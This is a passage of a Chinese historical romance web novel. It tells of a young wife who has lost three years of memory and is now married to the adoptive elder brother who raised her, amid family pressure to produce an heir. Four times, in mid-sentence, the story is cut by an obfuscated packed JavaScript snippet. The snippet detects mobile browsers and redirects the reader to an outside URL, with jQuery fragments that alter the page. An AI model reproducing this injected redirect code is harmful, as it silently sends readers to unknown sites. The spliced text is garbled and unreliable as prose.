但转眼看到拔步床和两人的装束,又紧张不已。 “夜里,你要歇这里吗?” 她圆溜溜的眼睛盯着许恪,似乎很怕他说是的。 许恪本想说他睡长榻就行,但看她那副模样又深想了一下,如果他不想和离那就得尽快让她知道他的想法,并好好习惯他。 于是他改变主意点了点头:“嗯,如果我们分开睡,我担心母亲会给我房里塞人,到时候我就讲不清了。” 许清妙咬唇纠结,长兄这般护着她,她也得帮长兄的,看了眼像个小房子似的拔步床。 她犹豫着点头:“那我睡里面,你睡外面。” 许恪意外她接受得这么快,明明看着纠结不已,没想到立马就同意了。 这丫头看起来非常信任他,居然连早上那一身痕迹都没让她防备自己。 许恪也不推辞,两人早有夫妻之事,即便现在什么记忆也没,他也潜意识觉得自己不排斥她。 许清妙坐在拔步床的梳妆台前,眼角看着他走近脱了鞋袜躺在了外侧。 她不敢再磨蹭,也脱了鞋小心翼翼跨过他爬到里面。 许恪的眼睛没有看她,她舒出一口气,拉了一床被子推给他,再抽出一床自己盖着。 床幔还没放下,她看了眼许恪,想开口让他帮忙,就听到他喊了声:“鹊枝。” 许清妙一听鹊枝进来,猛的将被子盖住了脸,只留下一头青丝铺在枕边。 鹊枝应声推门进来。 “放下床幔吹灯,今晚不用守夜。” 许恪淡淡的声音传来,许清妙听了清楚,等到屋里陷入漆黑,关门声再次响起,她才将脑袋伸出来。 “躲什么?” 许恪的声音带点笑意。 许清妙觉得他在笑自己。 不由找补道:“光线刺眼而已,哥哥,你打算以后怎么办?” 这话她在心里滚了几个来回还是说了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053540|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许恪侧头看她:“你想怎么办呢?不要就想着和离,对你对我对我们过去的三年都不好。” 许清妙点头,这事她其实也知道不容易,先不说和离后她的处境会有多难,单单许家就不会轻易让他们和离。 “我不知道怎么办,哥哥你呢?” 许恪一时没说话,等到开口声音有些沉:“我的想法是保持现状,前面怎么过的我们就继续怎么过。” 许清妙点头,但很快觉出不对,前面他们怎么过的? 鹊枝说他们如胶似漆,夫妻如胶似漆她现在小有了解,沐浴时身上的痕迹清晰可见,那都是恩爱的印记。 她不由小脸微红,看了许恪一眼,半羞半怯。 许恪正望着她,声音不由放柔。 “三娘,你要试着把我当你的丈夫而不是长兄。” 许清妙:“我,我尽量。” 她捏着被子的手掐紧了手心,老天,她那个不经意的祈愿灵验的有些过头了啊! 就不能一步一步来吗? “还有件事我得告诉你。” “嗯,你说。” 许清妙清亮的眼睛在黑暗里也瞧得分明。 许恪突然有些说不出口,但事已至此,他还是觉得说出来比较好。 “我们不可能做假夫妻,等你适应了,我们还得有孩子,再拖下去老太太和老爷子那边交代不过去了。” 今日他翻到父亲给他的信里,很严肃地提醒他子嗣的重要性,而且半年内再没有怀孕就要正式给他纳良妾。 祖宗家法压下来,他可以抗住,就怕许清妙到时候扛不住,倒不如他早作打算。 许清妙听了他的话陷入沉思,她自然不是傻子,虽然还是稀里糊涂的,但也知晓自己处境。 已经嫁给了敬仰的长兄,娘家又没有了退路,她除了一往无前恐怕没有选择的余地了。 “嗯,好。” 小姑娘战战兢兢的应了好,许恪心里突然莫名的心痛,这是他从没有过的。 他能看透许清妙这声应答里的无奈。 他突然觉得自己还是太急了,应该再等等的。 他几乎是出于本能的伸出手抱着了她,两手抱着拍了拍她的背。 “别怕,我等你适应,是我心急了,我怕你一直惦记着和离。” 许清妙被他楼进怀里时,有种熟悉的冲动,她想钻进他怀里蹭一蹭,哭诉她的委屈。 她不知道自己为何这样,明明算不上什么委屈,她就突然觉得难受了。 “哥哥,我相信你,有你在我就不怕。” 她记得有一年大雪,他们兄妹结伴去了别院玩雪赏梅,别院的梅林深远,厚如棉被的大雪盖住了林间小径。 他们几个年纪小些的玩得忘了形,不知怎么误入了梅林深处的一方水池,雪虽然厚但没有结冰,她和弟弟滑进了水池里,冰冷刺骨的雪水冻得她发抖。 随行的仆从有两人,但那两人都惊慌失措地扑向了弟弟,她挣扎叫唤,最后是长兄拿了梅树枝将她拖起来的。 后来也是他抱着冻得发抖的她回了屋,那一夜她高烧不退,也是他安排婆子在一旁照顾了一整夜。 从那时候起,她就知道长兄是最可靠的。 如今因缘际会嫁给了他,她还是信他。 许清妙很快安心地陷入沉睡。 留下许恪有些睡不着,温热的呼吸喷在他颈窝,他竟然丝毫没有排斥和嫌恶。 这太不可思议了,别人不知道,他自己却清楚这有多难。 5. 第 5 章 酣眠一夜醒来,只听窗外下起了滴滴答答的淅沥小雨。 许清妙摸了摸身旁位置,已经清冷一片,许恪早已起身。 她不由坐起身来,暗恼:长兄从小极其自律,肯定不会喜欢贪睡的懒惰之人,她怎么能睡这么香呢! “鹊枝!” 她低头看了眼有些凌乱的衣襟,白皙的手指拉好中衣,撩开床幔低头穿鞋。 门外传来鹊枝应答声,紧接着,鹊枝带着小丫头端了洗漱的热水进来。 “少夫人,晨起万福。” 许清妙浅浅应了声,“鹊枝,翰林去哪了呢?” “今儿小雨,翰林在亭子里练武呢。” 许清妙有些诧异,张开手配合穿上外袍,她竟从来不晓得大哥会武。 “少夫人,翰林说等你收拾好再去叫他一起用早膳。” “好,那快些吧。” 她洗漱好端坐在铜镜前,黑发柔顺的垂在身后,小小的脸上一双圆润润的眼睛盯着铜镜里的自己。 原来她变化也很大,眉黛如烟眼角含情,红唇微微翘起,一副心情很好很幸福的模样。 她呆呆地看着镜中,鹊枝心灵手巧地给她挽发簪花。 是不一样了,即便她的内心还是个刚刚及笄的少女,可实际上她已经为人妇了。 “少夫人真好看。” 鹊枝的夸赞打断了她的走神,她站起身来,抿唇笑了笑:“走吧,还是这么喜欢夸我好看。” 许清妙与鹊枝笑了几句便往门外廊下走去,隔着浓密的细雨,一道利落的身影映入眼帘。 她刚想开口喊他,就见许恪收了招式往她看过来。 小丫头连忙送了伞过去,随后他一身干练的练功服撑着伞走近。 明明他额发间布满汗珠,她瞧着也觉得清爽干净。 “哥哥,明日喊我一起起来吧?” 许恪接过小丫头送上的布巾擦了擦脸,笑道:“祖母和娘都免了你的晨昏定省,你安心休息,睡够了再起不妨事。” 许清妙暗道:糟糕!她根本没想起晨昏定省这事来。 “那,哥哥你先去洗漱,我等你一起用膳。” “好。” 许恪转身进了屋,小丫头跟着伺候倒水,许清妙看了眼往饭厅走去。 她刚在饭厅绣凳上落座,抬眼便见鹊枝带着一个头戴绒花身着黄衫的大丫鬟跨进门槛。 “少夫人,夫人房里的香云来传话了。” 许清妙抬眼看向叫香云的丫鬟,这姑娘她没见过,想必是这三年府里新进的。 “奴婢见过少夫人。” 香云规规矩矩地行礼,纤细的身姿配着有些过分艳丽的容貌,许清妙一眼看去,觉得这丫鬟也太好看了。 “夫人有什么话你说吧。” 许清妙虽是养在闺阁里,但许家终究是深宅大院,有姿色的丫鬟见过不少,但如香云这般艳丽的着实少见。 香云声音婉转,说话不卑不亢,“夫人让少夫人用过早膳后去她屋里一趟。” 许清妙撩眼看她,暗道稀奇:这话告诉鹊枝一声不就行了,需要亲自进来说? 她看了眼鹊枝,鹊枝厌厌地看过来,摇了摇头。 “嗯,知道了,早膳后我就过去,你先回去吧。” 她的话音落下,香云又是不紧不慢的行礼,刚转身,门外就传来许恪的脚步声。 许清妙抬眼望去,刚刚还不卑不亢的香云,正一脸娇羞的向许恪行礼:“翰林万福金安。” 姿态娇媚,我见犹怜。 反观许恪似乎并不认识她,皱眉看了她一眼便直接进了门,连一句回应也无。 鹊枝撇嘴,许清妙也看出来点门道。 * 饭后,许恪去了书房,她带着鹊枝往王氏住的雁栖院去了。 许家名下宅院占了云田城区坊的一大半,长房的院子是主宅里最好的院落,离许恪的青云院有些距离。 一路上,鹊枝喋喋不休地将那香云的事迹吐糟了一通。 “小姐,你就是性情好,容得下香云痴心妄想……” 原来,在他们成婚不久后,老太太再次送来给许恪做通房的大丫头,老太太许了香云只要有了身孕便给她提作妾室,香云出身干净,做妾室可为良妾。 香云满心期待,老太太盼着抱孙子,王氏也乐见其成,总之都是内院默许的事情。 可惜她们都没料到许恪毫不留情地拒绝了,而且派小厮将人送回了老太太院里。 这回老太太觉得被下了脸子,很是生气,祖孙俩都不让步,最后是王氏担心影响许恪名声,从中调和将那丫头留在自己屋里伺候了。 “小姐,那香云就是不死心,见缝插针地,你跟翰林走了两年多,她都哄着夫人不愿嫁人,就盼着翰林回来呢。” 许清妙没想到那丫头这么有本事,主人家想发嫁一个丫头那就是一句话的事情,她居然能左右王氏。 “她今年多大了?” 鹊枝嫌恶地说道:“今年都二十了呢,再不嫁都成老丫头了。” 许清妙点点头,她清楚这香云的来历了。 而且她还发现一件事情,鹊枝这姑娘总是私下里叫她小姐,她料想这肯定又是自己默许了的。 至于她为何默许,她现在也猜不到。 “夫人会安排好的,鹊枝你别太明显了,小心夫人知道了罚你。” “好吧,小姐,你也别太好说话了,闹起来翰林肯定是站你这边的。” 许清妙笑了笑没反驳,哥哥当然站她这边的,但如今是丈夫了,他的想法和立场会一样吗? 她不知道。 * 庭院深深,回廊九曲。 淅淅沥沥的雨渐渐变大,许清妙撑着伞进了雁栖院,见到王氏时,她正在看账本。 见她来了,王氏笑道:“没成想这会雨下大了,应该让丫头去说声不急着过来的。” 许清妙行了礼,轻声道:“娘,不打紧的,我打了伞鞋袜都没湿。” 她动作自然语气流畅,谁也不知道其实心里多别扭。 自三岁起,王氏管着她的起居,方方面面她也是跟着王氏学,她年幼时幻想过王氏是她亲娘就好了,但从没想过王氏当她的婆母。 用王氏教她的话说,婆母永远不是亲娘,你得敬着也得防着。 如今这般,她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053541|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里自然别扭。 但好在她还算会掩饰,王氏并没有发觉她的不自在。 王氏拉着她坐下,示意香云上茶,许清妙特意控制着没有去看香云。 “尝尝看,今年新收上来的雨前龙井,刚刚我亲自煮的。” 王氏爱喝茶也擅长煮茶,茶道上很有领悟,许清妙跟着她学了不少。 她两手端起茶碗细细品味,清香回甘,茶叶片片舒展清新翠绿。 “茶好,娘煮茶的功夫更好,回味无穷。” 王氏眉开眼笑,指着她打趣道:“你呀,自小就嘴甜,惯会哄我,如今做了我的儿媳是更会哄了,我呀就盼着你赶紧怀上孩子再哄哄我。” 许清妙低眉顺眼面露娇羞。 “娘,这可不是我说了作数的,我自然也是盼着的。” 果然,是为了催生。 许清妙心里有些犯难,她连洞房都没记忆,直接跳到要孩子。 这太可怕了。 也太为难了。 王氏放下茶碗,挥退了婢女奴仆,脸上换了表情。 “三娘,娘也难做,为了帮你们拦着老太太往你房里塞人才这么一再催你。你那屋里的汤药也是娘亲自找杏林妙手开的药方,你可要体谅娘的一番苦心呀。” 许清妙连连宽慰:“儿媳知道娘的心意,娘且宽心。” 王氏叹气:“三娘呀,不管是不是儿媳,娘都是为了你好,嫁人为妻最重要的就是开枝散叶,有了子嗣你也就有了依靠不是?” “再说了,大郎疼你,硬是要等你满了十八才能生养,如今你十八都过完好几个月了,这事不能拖了。” 许清妙只能点头应下,丝毫不敢推托。 心底又想,总归怀孕还是他们俩的事情,她还是听长兄的。 “娘,儿媳都知道的。” 王氏舒出一口气,伸手拍了拍她手背:“娘就知道你通情达理,那你就好好的配合娘把那几副调理身子的汤药喝了,行吗?” 原来是昨晚那汤药她没喝的缘故。 这点事都被人盯着了。 “娘,长兄说是药三分毒,真的非喝不可吗?” 王氏拉着她手语重心长道:“这事你莫听他的,这可全是补药没有一味有毒,你安心喝,喝完了准给他生个小郎君。” 许清妙知道不能跟她对着来,便点头应下。 这事说完,王氏又要拉着她看账本,从前她也帮家里看,如今她却不想碰,实在怕出错。 于是她委婉拒绝。 “娘,我还是跟着您学煮茶吧,那账本看得我头昏。” 不想王氏嗔道:“又躲懒,这中馈之道你可得好好学,如今你们在京里分开住了也少不得筹划。” 许清妙无法只得跟着王氏学了一上午,直到午饭时间才被放了回去。 她带着鹊枝往回走,心情郁郁。 “鹊枝,我昨日没喝那汤药,被人告到婆母那了。” 鹊枝撑着伞走在她身旁,愤愤道:“小姐,青云院的情况你还是得跟翰林说的,让翰林给你做主。” 许清妙直觉内宅之事全靠长兄是不行的。 “嗯,我会考虑的。” 6. 第 6 章 连绵的春雨下了一整日,灰蒙蒙的天渐渐暗下。 青云院的内书房里燃起盏盏油灯,琉璃窗半敞,窗内的人正专心致志看着手中书册。 灯影绰约,宁静闲适。 许清妙站在窗外没有上前惊扰,只静静站了会便转身回了屋。 外间榻上有许恪给她找来打发时间的游记话本,她下午翻看后随手搁在了那,心里想着事情竟是连话本也看不下去。 屋里燃着安神的熏香,丫头婆子都下去了,贴身伺候的鹊枝在角落里忙着缝她的内衫。 “少夫人,你怎么不如往常一般去书房陪翰林读书呢?” 许清妙回头看了眼鹊枝,这丫头睁着双亮晶晶的眸子正好奇地看着她。 “我以前也没经常去陪他看书吧?” 鹊枝摇头:“但凡翰林在书房看书,少夫人你都会陪伴,你说要为翰林红袖添香,还说翰林很喜欢你这样。” 许清妙不解,她虽能识文断字,但绝做不到与长兄诗书交流,除了能帮忙研墨应该啥也做不了吧。 长兄居然会喜欢她去扰他。 “哦,我今日不想去。” 话落,门口传来婆子的通传声:“少夫人,夫人院子里的香云来了。” 许清妙讶然。 鹊枝躲在角落猛翻白眼。 “她可有说何事?” 婆子低声道:“说是来给少夫人送汤药。” 许清妙暗道这汤药怕是躲不过,大伯娘居然派人来送了。 “让她进来吧。” 婆子走开后,许清妙看了眼鹊枝:“去看看翰林闲了没有。” 鹊枝立马领悟,放下手里活计,脚下生风地往书房去了。 少倾,香云提着一个暗红的食盒款款地进了屋。 许清妙靠坐在软榻,打量着这位又换了一身衣裳的美艳丫鬟。 粉桃小衫底下搭配月白长裤,似婢女打扮却充斥着各种小心思,小衫腰线收了半寸,衬出窈窕有致的曲线。 香云似察觉不到她打量的目光,轻巧地行了礼。 “少夫人贵安,夫人命奴婢给您送来了滋补汤药,夫人还说请你务必用了。” 许清妙几息之间便了然。 香云送药既能盯着她喝药,又能在许恪面前露脸,一举两得。 “放下吧,我一会喝。” 香云将汤药小心地端出来,放在桌上,“少夫人,夫人还说让奴婢看着你喝完,还请少夫人体谅。” 许清妙没吭声,因为屋外传来了脚步声。 许恪来了。 “喝完什么?” 许恪清冷的声音从门口传来,紧接着他颀长的身影出现。 许清妙起身走到桌前站好。 细细的手指捧起那青花大瓷碗碗,侧头看向许恪:“娘送来的汤药,喝了能给你生小郎君。” 她声音轻快,脸上带笑,一身杏色绸衣衬得人欢快活泼。 许恪大步上前,一手拿下她比她脸还大的瓷碗,呵道:“我说不喝便不喝,娘那里我亲自去说。” 许清妙看了眼香云,“哥哥,其实没事的,娘说都是补药,喝了没坏处。” “娘不懂医理,凡服药须得对症下药,你这无病无症的不可乱用,需得请了郎中仔细看过才行。” 许恪将药倒进了盂钵里,空碗放回食盒,转身看向香云。 “回去告诉夫人,稍后我会过去看她。” “是,奴婢这就去。” 香云煞白着小脸,提着食盒走了,脚步急促活像吓到了。 许清妙突然看不懂这丫鬟了,有贼心没贼胆吗? “哥哥,你这样做娘会怪我们吧,书中说长者赐不可拒,是我们的不是了。” 许恪瞥了她一眼,拉着她再次坐回了榻上。 “那你想喝那药吗?” 许清妙摇头:“不想。” 许恪便笑了:“那不过是一句托词怎么作的真言,孔孟之道可没教人迂腐愚孝。” 许清妙不懂,圆圆的眼睛发亮:“哥哥,仔细说说?” 许恪摇头:“我得去娘那里一趟,你自己看看下午给你的那话本,里面这句话是什么情景下出现的,前后联系思考下便能领悟。” 说完,许恪便接了小丫头手里的伞和灯笼,大步而去。 * 香云急匆匆地跑回了雁栖院,将许恪说的话一字不漏回给了王氏。 正烫碗煮茶的王氏听完沉默良久。 “哎!三娘是真长大了。” “你去院门口迎迎翰林吧。” 香云起了身,面露喜色。 “是,奴婢这就去。” 院里曲径通幽,细雨淫靡,掩在夜色中一点亮光渐渐靠近。 香云捏紧了手中灯笼,踮足而望。 只见长身玉立的郎君撑着伞踏雨而来,清俊的脸上似染了冷雾,走过身前带起一阵凉意。 香云急忙跟上:“翰林小心路滑。” 许恪没理她,刚走了几步却听身后传来惊呼声。 “啊!” 女子惊慌失措的声音不是装的,许恪便停了脚步,转身看去。 只见母亲屋里的大丫鬟正摔趴在地。 香云也没想到自己不过是想引起许恪注意,却摔了个大马趴。 羞愤的声音响起:“奴婢不小心摔倒了,求翰林恕罪。” 香云泪眼朦胧地趴在地上望着他,远远看去煞是可怜。 许恪看了眼便转回了身,声音平平地道:“无妨。” 接着毫不怜香惜玉的走远了。 香云狼狈地爬了起来,浑身湿哒哒的狼狈不堪,低头捡起灯笼捂着脸跑回了下房。 屋里,许恪躬身站在了面沉如水的王氏跟前。 “娘。” 王氏煮茶不应他,指了指对面的空位。 许恪便安静地坐好。 一时间,屋外的雨下得悄无声息,屋里只有茶水滚沸的噗嗤声。 许恪泰然自若凝视着王氏煮茶的一举一动,优雅细致有条不紊。 清茶一盏,人生一闲。 可惜,非他所好。 滚茶入盏,清香四溢,王氏才发出一声长叹。 “娘不过是想让她早日有孕,于你于她都是好事。” 许恪低头温声道:“儿知道。” 王氏拧着眉头看他:“那你帮她拒药,我难道会害她不成?当初你要娶她,娘可没有拦着。” 许恪自知没有这三年记忆,只默默听着并不反驳。 王氏:“大郎,三娘如果半年内没有动静,我不会再帮你拦着老太太给你塞女人了。” 许恪拧紧眉头依旧沉默。 “那我再问你,你那旧疾可好了?” 许恪不解疑惑道:“什么旧疾?” 王氏皱眉隐晦道:“癖洁。” “没有。”她居然知道。 王氏:“……” 母子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053542|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩皆是无语,王氏难以启齿问太详细,许恪不愿解释太清楚。 …… 灯影照壁,静夜悠长。 许清妙捧着话本斜靠在床上细细又读了一遍,直到听见外间传来许恪进屋的声响。 她没起身,外间自有婢女侍候,很快见他轻轻推门进了内室。 “还没安寝?” 他似乎很意外她会等他到夜深,挥退了跟着进来伺候的小丫头,他站在床前自顾自地解带宽衣。 “还不困,怎么不让丫头伺候你更衣梳洗?” 她瞧着他身上沾了雨水,衣摆湿了大半,想起身帮他。 “不用起身,我不习惯婢女侍候,自己来就成。” 许清妙又靠了回去,看着他脱得只剩中衣,见他还在脱便低头看向话本。 “大伯娘可有说什么?” 她的脸隐在灯下,看不见表情。 许恪动作微顿,“没有说什么,不过是强调一遍子嗣之事,三娘不用担心。” 许清妙:“我不是担心,我是怕大伯娘不高兴。” “娘没有不高兴,你好好适应现在的身份,其他先不要急。” 只要她真正能接受身份转变,有孕是必然的事,况且他自己也需要时间了解自己。 许清妙被他再次安抚了情绪,放开了话本,转身躺了下去。 “嗯,我会努力的,哥哥你快去洗漱吧,里面还有鹊枝备好的热水。” 她听见许恪短促的应了一声,接着进了内室浴房。 虽然许恪说了王氏没有生气,但许清妙知道,这位性情温和又颇有城府的大伯娘对她已是不满。 只是王氏从不显露而已。 她见王氏的日子比许恪见她的时候多的多。 许恪自四岁开蒙起,便由老爷子亲自教养,老爷子深信慈母多败儿的道理,不常让许恪跟王氏待在一起。 他自然不知道王氏的温柔背后也有可怕的内宅手段。 记得有一年的寒冬,府里新进了一位姨娘,是大伯从地方卸任带回来的,那位姨娘貌美温顺,很得大伯喜欢。 王氏不吵不闹很是贤惠地接纳了这位姨娘,府里上下无人不夸她温良贤德。 再后来大伯调任京城,这位姨娘被留在了府里,王氏不声不响地用规矩磨搓,逼得姨娘一句反抗的话都无郁郁而终。 没人会怪王氏,只会感慨姨娘福薄。 许清妙跟在王氏身边自然看得清楚,不分严寒酷暑那位姨娘都得伺候在旁,一旦有错便会按家规处罚,所有惩罚皆合情合理,外人知晓也只会赞王氏管教有方。 无儿无女的妾室本就是伺候正妻的奴婢,责罚打骂稀疏平常,可王氏极少打骂,她抓住了姨娘曾是犯官小姐的痛点。 只日日令她为奴为婢的伺候便消磨了姨娘所有的希望。 许清妙当年堪堪年满十三,只觉得不寒而栗。 王氏依旧温柔贤良,孝敬婆母敬重丈夫善待子侄。 许清妙却是暗暗怕她,越发乖巧懂事。 王氏让香云送药本就是试探她的态度,如今有许恪拦着只怕这事还是怪在她头上了。 “我吹灯了?” 不知何时,许恪已经从浴房出来了,穿着中衣站在了床前,清新的皂脂味隐隐飘来。 许清妙抬眼看他,点头:“吹吧。” 很快屋里陷入黑暗,许恪带着水气躺在了身旁。 许清妙糯糯道:“哥哥,我有些怕。” 7. 第 7 章 “怕什么?” 许恪的声音轻缓,在黑暗里带来抚慰。 许清妙双手抱着被子侧身看向他,借着黑夜掩饰眼中担忧。 “怕你娘不喜欢我,怕祖母嫌弃我……” 她的话被他打断,黑暗里,许恪的手臂精准地绕过她的肩膀将她轻轻地楼进怀中。 皂香味更浓了,她的脸碰到了他微凉的前襟。 半响,许恪都没说话,只静静地搂着她。 整个屋里安静的只有彼此心跳。 好一会,他略低的声音再次响起:“三娘,不必担忧惧怕,我除了你不会有任何人,家里如果不想我绝了后便不会为难你。” 许清妙惊呼道:“哥哥,不可说这种话……” 一只干燥火热的手,精准地抚在了她脸上,吓得她再次忘了要说什么。 “别急,等我说完。”许恪停顿,嗓子压得更低,掌心笼在她的脸颊上没有移开。 “我不是说来吓你或者要去以此威胁家里,而是事实如此。我从小就有一个不为人知的旧疾,出现在眼前的所有东西都必须一尘不染整齐划一,如果不行我就会非常难受。” “最初的时候还只是这般强迫自己,慢慢的我发觉我厌恶跟人接触,特别是有特殊气味的人。情况越来越严重,但只要不直接碰触我还都能忍受,直到祖母将通房塞进我房里。” 似是想起了什么很难受的事情,许恪的呼吸加重了。 “我没碰她,但将人送走后,却呕到眩晕,那时我确定了自己不正常。” 许清妙从没想过这是一种病,她见到的许恪总是干净整洁、细致到手指甲都是短短的,没有像时下郎君流行那样蓄甲,在身体发肤授之父母的礼教下,他也特立独行剪的整整齐齐。 她不由细细回忆,见过祖母搂着二哥三哥亲热说笑,却从不见他靠近,难怪祖母抱怨他冷清。 她跟他的回忆,大部分都是发生在宅子里,她记不清他有没有跟其他人碰触。 却不由再次想起,那年大雪里失足落水,他用梅树枝救了她,再然后是他脱下棉衣裹着她抱回屋里,那时候的他也有难受吗? 她记不清了,但又不由自主想起那个三年后刚醒来的早晨。 许清妙的侧脸贴着他的掌心,望进他的眼底,明明漆黑一片,却意外地看清了对方的眼睛。 漆黑明亮,目光如炬。 “可是那天早上......我身上有痕迹。” 许恪紧了紧双手,搂着她低声道:“我也很惊讶,但不管是怎么做到的,我都很高兴。” 许清妙不由点头,也替他高兴,她甚至来不及细想其他。 “睡吧,再不睡我怕自己吓到你。” 许清妙将脸埋进了被子里,躲开了他火热的掌心。 她听懂了他的意思。 许恪看着缩成一团躲进被子里的人,无奈笑了。 他恐怕又得像三年前一样重新和她建立男女之情了。 * 不知春雨几时歇,落花满地鸟鸣涧。 风和日丽的几日悄然而过,果然如许恪所说安然无事,王氏和老太太都没找她麻烦。 即便他们很快会回京,她还是决定每日往王氏和老太太院子里请安。 老太太虽然不太待见她,却没说什么难听的话,来来去去叮嘱她早日有孕就打发她回去。 王氏待她也瞧不出任何芥蒂,亲亲热热地与她说话,只是每次都会让香云伺候在旁。 这一日早膳过后,她陪着老太太和王氏在院子里赏花,随行伺候的小丫头一个个穿得鲜艳穿梭花丛间。 许家后院占地数十亩,院中有山有水还有楼阁华亭,移步换景,亭阁呼应,四季景色各不相同,足够内宅女子游园赏景。 老太太看着满院春色笑道:“去,都给我去扑蝶采花,热闹热闹,自从姑娘们嫁了人这院子里就不见了热闹。” 许清妙暗道短短三年原来妹妹们都出嫁了,四妹妹跟她同年,五妹妹差一岁,如今她在这院子里是一个要好的姐妹都没了。 许清妙扶着老太太在亭中坐下,王氏依着栏杆赏鱼,没一会也坐回了亭中。 “三娘想玩便也一起去,不用陪着我们。” 许清妙想玩,但不想跟不熟悉的丫头们玩,她仔细看过与她相熟的丫鬟基本都不见了,只有身边的鹊枝还跟着她。 仅仅三年过去,她却有种物是人非的感触。 “娘,我就不去了,陪你跟祖母看她们玩也挺有意思。” 许清妙今日穿了一件粉桃襦裙搭配着桃红色褙子,整个人像朵粉嫩的桃花。 锦绣年华别样风情。 老太太瞥了她一眼,“你是嫌没伴,做什么都喜欢跟着熟人走,这幸好是没有嫁到别人家去。” 王氏接过话也赞同:“可不是么,从小到大都是许家的,我听说有些小地方就是从小开始养儿媳妇,没成想我这也给自己养了个。” 许清妙笑了笑没吭声,她分得清好话赖话,但不想计较,毕竟过几日她跟着许恪就回京了。 “娘,你偏心,给大哥从小养着三妹妹,我却没有。” 一道不满的声音从亭外的假山后传来,许清妙抬眼望去,圆领青衫的青年站在山石间满脸笑容地看着她们。 “祖母,认不得孙儿了吗?” 老太太惊得起身站了起来:“哎呀呀,我的乖孙回来了,门房那些吃干饭的怎地不通报我呀。” 许清妙扶着老太太出了亭子,瞥见来人几步跨了过来。 “祖母,是我拦着了,您别怪他们。” “三妹妹,叫二哥。” 许清妙自然也认出了二哥许意,他是许恪的一母同胞的亲弟,更是祖母最疼的孙子。 “混账小子,不许叫三妹妹,该叫嫂子。”王氏在一旁笑骂道。 许意高挑精瘦,皮肤晒成麦色,精神抖擞,看着许清妙望向他的眼睛眨了眨。 “娘,您偏心,有好处就知道给大哥。” 王氏上前佯装着拍了他几下,骂道:“混小子,别乱说话,娘这心都偏你这了,你还胡搅蛮缠,仔细让你大哥听了训你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053543|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许意哼道:“我可不怕大哥,有三妹妹帮我。” 许清妙有些看不懂了,她几时跟二哥这么好过? 小时候的二哥就爱捉弄她,喊她小不点,拿小青蛙逗得她哇哇叫,再后来二哥跟着族里堂叔出去跑商,她记忆最深的便是他为了不读书去跑商,大伯父揍得他几天起不来床。 “二哥,我可不帮你。”许清妙想了一会有些理不清与他的交情,但叫句二哥还是没问题。 “瞧,还是三妹妹上道,回头二哥拿最好看的绸缎给你做衣裳。” 老太太握着他的手没半点威慑地瞪了他一眼,罕见的没有反对。 “二郎赶紧陪祖母回屋,去菩萨面前拜拜,菩萨保佑你平安回来了,祖母得还愿去。” 许清妙见着吊儿郎当的二哥恭敬地扶着老太太往正房院子去,一边走还一边认真点头:“孙儿感谢祖母,是祖母求得菩萨保佑了孙儿逢凶化吉,财源滚滚。” 老太太被许意哄得开怀大笑,两只眼睛都眯成了缝,脸上的褶子似乎变少了。 王氏脸上的笑也真心不少,看着她道:“二郎没个正经,你下回可不能由着他闹,得叫二弟。” 许清妙点头应下:“好的,儿媳记下了。” “行了,你也回屋吧,回去给大朗说下,晚上去老太太那里用膳,给二郎接风洗尘,这混小子回家都搞突袭,我这都没好好准备,等先去趟大厨房吩咐下去。” 王氏高高兴兴地走了,赏花游玩的婢女婆子跟着散了,许清妙带着鹊枝也回了青云院。 刚走到院外便听到院子里洒扫的婆子正在说话:“这大少夫人也是生在福中不知福,三年多了也不为翰林生下一儿半女。” 另一道年轻声音回道:“可别这么说,还得是命好,寻常人家尚且三妻四妾,咱们翰林却是只疼她一个,我们这四个预备的通房丫头根本使不上力。” 许清妙看了眼鹊枝,只见鹊枝比她还气愤,不待她开口,鹊枝便冲进去骂道:“小贱蹄子,私下议论主子不想活了是吧?” 许清妙赶紧跟进去,那俩说话的吓得脸色苍白跪在地上不断磕头求饶:“求少夫人饶命,我们再也不敢了。” 鹊枝指着她们骂道:“我看你们敢的很吧,埋怨翰林不给你们机会是吧?” 